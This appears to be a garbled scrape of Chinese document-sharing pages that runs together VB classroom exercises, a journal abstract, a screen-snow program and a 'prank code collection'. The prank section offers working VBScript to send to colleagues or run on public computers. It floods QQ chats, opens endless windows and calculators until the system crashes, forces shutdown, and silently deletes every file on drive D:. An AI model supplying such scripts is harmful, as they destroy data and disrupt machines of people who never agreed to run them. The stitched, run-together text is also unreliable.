CommonDialog1.DefaultExt = "txt" CommonDialog1.Action = 2Open CommonDialog1.FileName For Output As #1 Print #1, Text2.TextClose #1End Sub四、蝴蝶飞舞Private Sub Form_Load()Print "蝴蝶飞出窗体后重新定位到左下方再向右上方飞" End SubPrivate Sub Timer1_Timer()Static PickBmp As IntegerIf PickBmp = 0 ThenImage1.Picture = Image2.PicturePickBmp = 1ElseImage1.Picture = Image3.PicturePickBmp = 0End IfCall mymoveEnd SubSub mymove()Image1.Move Image1.Left + 40, Image1.Top - 25If Image1.Top <= 0 ThenImage1.Left = 0Image1.Top = 2325End IfEnd Sub图：五、文本编辑Private Sub Copy_Click()Clipboard.ClearClipboard.SetText RichTextBox1.SelTextEnd SubPrivate Sub Cut_Click()Clipboard.ClearClipboard.SetText RichTextBox1.SelTextRichTextBox1.SelText = ""End SubPrivate Sub Exit_Click()Form3.HideForm1.ShowEnd SubPrivate Sub Font_Click()CommonDialog1.Flags = cdlCFBoth Or cdlCFEffects CommonDialog1.Action = 4RichTextBox1.FontName = CommonDialog1.FontName RichTextBox1.FontSize = CommonDialog1.FontSize RichTextBox1.FontBold = CommonDialog1.FontBold RichTextBox1.FontItalic = CommonDialog1.FontItalic RichTextBox1.FontStrikethru = CommonDialog1.FontStrikethru RichTextBox1.FontUnderline = CommonDialog1.FontUnderline RichTextBox1.ForeColor = CommonDialog1.ColorEnd SubPrivate Sub Form_Load()Print "注："Print "1.'打开'对话框的初始文件夹应是所要打开文件所在的" Print "文件夹，将提供的xz.txt文件打开；"Print "2.要实现将选定的内容格式化，必须在工具箱中添加" Print "RichTextBox控件（Microsoft Rich Textbox Comtrol 6.0）" Print "并在帮助菜单中查阅其字体设置的相关属性。
让你的桌面纷纷扬扬--用VB写一个下雪程序
让你的桌面纷纷扬扬--用VB写一个下雪程序
Seven
【期刊名称】《电脑知识与技术-经验技巧》
【年(卷),期】2003(000)035
【摘要】北京下雪了,而一千多公里外的上海阳光却热情得像夏天.我一直希望自己能有机会去感受那纷纷扬扬的大雪,遗憾的是,一直没有机会.应该说,写这样的程序对我来说是一种愿望的转移.下面就跟着我来给你的桌面"人工降雪".……
【总页数】2页(P63-64)
【作者】Seven
【作者单位】
【正文语种】中文
【中图分类】TP3
【相关文献】
1.用VB程序设计一个计算器 [J], 姚兴华
2.实现桌面地理信息系统ARCVIEW和VB5应用程序之间的通讯 [J], 刘为民
3.桌面地理信息系统ArcView和VB5应用程序之间的通讯 [J], 邸彦彬;刘晓明
4.一个基于Qt/Embedded应用程序集成桌面的设计与实现 [J], 吕强;夏俊鸾;钱培德;杨季文
5.一个基于Excel和VBA开发的自动生成“界址点成果表”的程序 [J], 吴志勤;王卫安
因版权原因，仅展示原文概要，查看原文内容请购买。
整人代码大集合-多年的代码收集
整人代码大集合-多年的代码收集在我们的日常生活中，整人已经成为一种常见的娱乐方式。
无论是在家庭聚会还是在办公室，整人都可以给人们带来欢乐和轻松的氛围。
而在数字化时代，整人也不再局限于口头或行为上，代码整人也成为了一种新的趋势。
多年来，人们不断积累了各种各样的代码整人，这些代码可以用于各种场合，让人们捧腹大笑。
下面就让我们来看看这些代码整人的大集合吧！1. 桌面整人代码。
在办公室中，桌面整人是一种常见的方式。
你可以在同事的电脑上放一个隐藏的桌面截图，然后将所有的桌面图标隐藏，让他们找不到任何东西。
下面是一个简单的VBScript代码，可以实现这个整人效果：```vbscript。
Set WshShell = WScript.CreateObject("WScript.Shell")。
WshShell.Run "rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True。
WshShell.SendKeys "{F5}"```。
将以上代码保存为.vbs文件，然后将文件发送给你的同事，让他们双击运行。
他们的桌面图标将全部消失，然后按下F5键即可恢复。
2. 键盘整人代码。
键盘整人是另一种常见的方式，你可以通过改变键盘的布局或者发送一些奇怪的按键组合来整人你的朋友。
下面是一个简单的AutoHotkey代码，可以实现这个整人效果：```autohotkey。
SendInput {LShift Down}{LAlt Down}{LWin Down}{Tab}{LShift Up}{LAlt Up}{LWin Up}。
```。
将以上代码保存为.ahk文件，然后发送给你的朋友让他们运行。
这个代码会触发一个快捷键组合，让他们的屏幕上出现切换窗口的效果。
3. 网页整人代码。
在网页上整人也是一种常见的方式，你可以通过修改网页的内容或者添加一些恶搞的效果来整人你的朋友。
VB整人小程序
End Sub
Private Sub Command2_Click()
Shell "cmd.exe /c shutdown -a"
MsgBox "不怎么好玩", vbExclamation,"不玩了"
End
End Sub
用到的控件和界面方面自己发挥，VB的代码根据兴趣DIY�
msgbox chr(13) + chr(13) + chr(13) + "知道我是谁么?"
msgbox chr(13) + chr(13) + chr(13) + "记住了""锡尔丁""?"
msgbox chr(13) + chr(13) + chr(13) + "记住了么?~~~"
msgbox chr(13) + chr(13) + chr(13) + "别恨我呀!恨我就是爱我!"
dim a
do while(a <> "哥哥")
a = inputbox ("说我是猪,就不关机，快，说 ""哥哥"" ","叫不叫","不叫",7000,8000)
msgbox chr(13) + chr(13) + chr(13) + a,5000,"MsgBox"
loop
msgbox chr(13) + chr(3) + chr(13) + "早叫就行了嘛"
VB整人程序代码大全
vbs整人代码大**一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>=---------------------------------------------------------------------------On Error Resume NextDim wsh,yeset wsh=createobject("wscript.shell")for i=1 to 10wscript.sleep 700wsh.AppActivate("与xx 聊天中")wsh.sendKeys "^v"wsh.sendKeys iwsh.sendKeys "%s"nextwscript.quit----------------------------------------------------------------------------QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------domsgbox "You are foolish!"loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机------------------------------------------------------------------------------set wsh=createobject("wscript.shell")dowsh.run "calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------while(1)msgbox "哈哈你被耍了！"loop----------------------------------------------------------------------------七、不断按下alt+f4 （开什么都关闭……）---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys "%{F4}"loop---------------------------------------------------------------------------八、按500次回车(以上代码在运行者的电脑上显示500个对话框。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
当前位置：首页>VB 小程序> 让整个屏幕雪花飘飘（改进）58. VB整人小程序：让整个屏幕雪花飘飘（改进）这是我以前写的小程序让整个屏幕雪花飘飘的改进，本程序是一个模拟下雪的小程序：大小不同随风飘荡的雪花从屏幕上方不断落下，飘满整个屏幕。
雪花可在任何窗口上飘荡，包括任务栏、开始菜单、弹出菜单等地方。
本程序与原程序的主要改进之处是：落下的雪花不会消失，会在屏幕底部不断堆积，双击屏幕底部的积雪可使积雪消失。
本程序编译成 exe 文件运行后，只能通过系统“任务管理器”才能终止运行。
程序运行效果截图如下:'' '本程序包含两个窗体，Form1 和 Form2，其中 Form1 是启动窗体。
代码在在 VB6 调试通过：''下面是 Form1 窗体代码：====================================='' 注意：在属性窗口将窗体的 BorderStyle 属性设置为 0，即窗体是无边框窗体'' 在窗体上放置一个控件：Timer1，不必设置任何属性''本人原创，转载请注明文章来源：/100bd/blog/item/fbb5bdd5f0564910a08bb740.html Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As LongPrivate Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As LongPrivate Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongDim ctSnow() As tySnow, ctSnowS As Long, ctSeChange As LongPrivate Type tySnow '定义表示雪花的数据类型X As Single: xV As Single 'x 坐标、水平移动速度Y As Single: yV As Single 'y 坐标、垂直移动速度Se As Long: Size As Single '雪花颜色、大小End TypePrivate Sub Form_Load()ctSnowS = 200 '300 '雪花数量ctSeChange = 30 '雪花颜色的变化范围'最大化窗口。
注意：不要用在属性窗口设置 WindowState 属性的方'式，也不使用 Me.WindowState = 2 代码。
否则，在用户调整任务'栏状态的时候，会造成积雪的位置错位。
Me.WindowState = 0Me.Move 0, 0, Screen.Width, Screen.HeightReDim ctSnow(1 To ctSnowS)Me.Caption = "雪花飘飘"Me.AutoRedraw = True: Me.ScaleMode = 3Me.BackColor = RGB(235 - ctSeChange * 2, 235 - ctSeChange * 2, 255) Call TransWin(Me.hWnd, Me.BackColor) '将窗口背景色设置为透明的Form2.AutoRedraw = True: Form2.ScaleMode = 3Form2.BackColor = Me.BackColorForm2.Move Form1.Left, Form1.Top, Form1.Width, Form1.HeightCall TransWin(Form2.hWnd, Form2.BackColor) '将窗口背景色设置为透明的Form2.ShowTimer1.Enabled = True: Timer1.Interval = 20End SubPrivate Sub Timer1_Timer()Dim I As Long, V As Single, H1 As Single, IsDown As Boolean, Se As LongV = 8 '修改此数字，可改变雪花整体飘荡的速度Randomize '初始化随机发生器WinInTop Me.hWnd, True '使雪花（窗口）显示在最前，包括显示到任务栏上面WinInTop Form2.hWnd, TrueMe.Line (0, 0)-(Me.ScaleWidth, Me.ScaleHeight), Me.BackColor, BF For I = 1 To ctSnowSctSnow(I).X = ctSnow(I).X + ctSnow(I).xV * VctSnow(I).Y = ctSnow(I).Y + ctSnow(I).yV * VIf Rnd * 20 < 1 Then ctSnow(I).xV = Rnd - 0.5 '改变水平移动速度，模拟随风飘荡If ctSnow(I).Size = 0 Or ctSnow(I).Y > Me.ScaleHeight Then Call SnowInit(I) '未初始化，或超出下边界' ctSnow(I).Size = 2 '****调试代码ShowStr Me, I '画一朵雪花Me.Font.Size = ctSnow(I).SizeH1 = Me.TextHeight("*") * 0.5 '半个字符高度If ctSnow(I).X < -H1 Then ctSnow(I).X = Me.ScaleWidth '超出左边界If ctSnow(I).X > Me.ScaleWidth Then ctSnow(I).X = -H1 '超出右边界'最下层积雪位置IsDown = ctSnow(I).Y > Me.ScaleHeight - H1If IsDown Then ctSnow(I).Y = Me.ScaleHeight - H1'积雪密度:Y 坐标后 H1*0.9 数值越小密度越大'数值过大，如 H1*1.5，会使积雪堆积成柱状或造成空隙。
'数值过小，如 H1*0.5，会使积雪堆积速度缓慢。
Se = Form2.Point(ctSnow(I).X + H1 * 0.5, ctSnow(I).Y + H1 * 0.9) If Se > -1 And Se <> Form2.BackColor Then IsDown = True'已落到最下面，在 Form2 的相同位置绘制积雪If IsDown ThenShowStr Form2, ICall SnowInit(I)If ctSnow(I).Y > Me.ScaleHeight * 0.9 ThenForm2.Font.Size = 12Form2.CurrentX = (Me.ScaleWidth - 8 * Me.TextHeight("12")) * 0.5Form2.CurrentY = Me.ScaleHeight * 0.92Form2.ForeColor = RGB(0, 0, 255)Form2.Print "双击此处消除积雪"End IfEnd IfNextEnd SubPrivate Sub ShowStr(Kj, I As Long)'画一朵雪花Dim H1 As SingleKj.Font.Size = ctSnow(I).SizeKj.CurrentX = ctSnow(I).XKj.CurrentY = ctSnow(I).YKj.ForeColor = ctSnow(I).SeIf ctSnow(I).Size > 4.2 ThenKj.Print "*"ElseIf ctSnow(I).Size > 3 Then Kj.DrawWidth = 2 Else Kj.DrawWidth = 1H1 = Kj.TextHeight("*") * 0.5Kj.PSet (ctSnow(I).X + H1 * 0.5, ctSnow(I).Y + H1 - 1)End IfEnd SubPrivate Sub SnowInit(I As Long)'初始化一朵雪花Dim S As SinglectSnow(I).X = Rnd * Me.ScaleWidthctSnow(I).xV = Rnd - 0.5ctSnow(I).yV = Rnd * 0.5 + 0.1S = 2 + Rnd * 9 '字体最大 11 号If ctSnow(I).Size = 0 ThenctSnow(I).Y = Rnd * Me.ScaleHeightElseMe.Font.Size = SctSnow(I).Y = -Me.TextHeight("*")End IfctSnow(I).Size = SS = 235 - ctSeChange * 2 + Int(Rnd * ctSeChange * 2)ctSnow(I).Se = RGB(S, S, 255) '雪花略带蓝色，否则在白背景时将看不见End SubPrivate Sub TransWin(hWnd As Long, TransColor As Long)'将窗口颜色 TransColor 设置为透明的Dim ExsTyle As LongConst WS_EX_LAYERED = &H80000, GWL_ExsTyle = -20ExsTyle = WS_EX_LAYERED Or GetWindowLong(hWnd, GWL_ExsTyle)SetWindowLong hWnd, GWL_ExsTyle, ExsTyleSetLayeredWindowAttributes hWnd, TransColor, 0, 1End SubPrivate Sub WinInTop(nWnd As Long, Optional InTop As Boolean) '窗口保持最前Const HWND_NoTopMost = -2 '取消在最前Const HWND_TopMost = -1 '最上Const SWP_NoSize = &H1 'wFlags 参数Const SWP_NoMove = &H2Const SWP_NoZorder = &H4Const SWP_NoActivate = &H10 '不激活窗口Const SWP_ShowWindow = &H40Const SWP_HideWindow = &H80Dim nIn As LongIf InTop Then nIn = HWND_TopMost Else nIn = HWND_NoTopMostSetWindowPos nWnd, nIn, 0, 0, 0, 0, SWP_NoSize + SWP_NoMove + SWP_NoActivateEnd Sub''下面是Form2 窗体代码：====================================='' 注意：在属性窗口将窗体的BorderStyle 属性设置为0，即窗体是无边框窗体Private Sub Form_DblClick()'双击清除积雪Me.Line (0, 0)-(Me.ScaleWidth, Me.ScaleHeight), Me.BackColor, BFEnd Sub。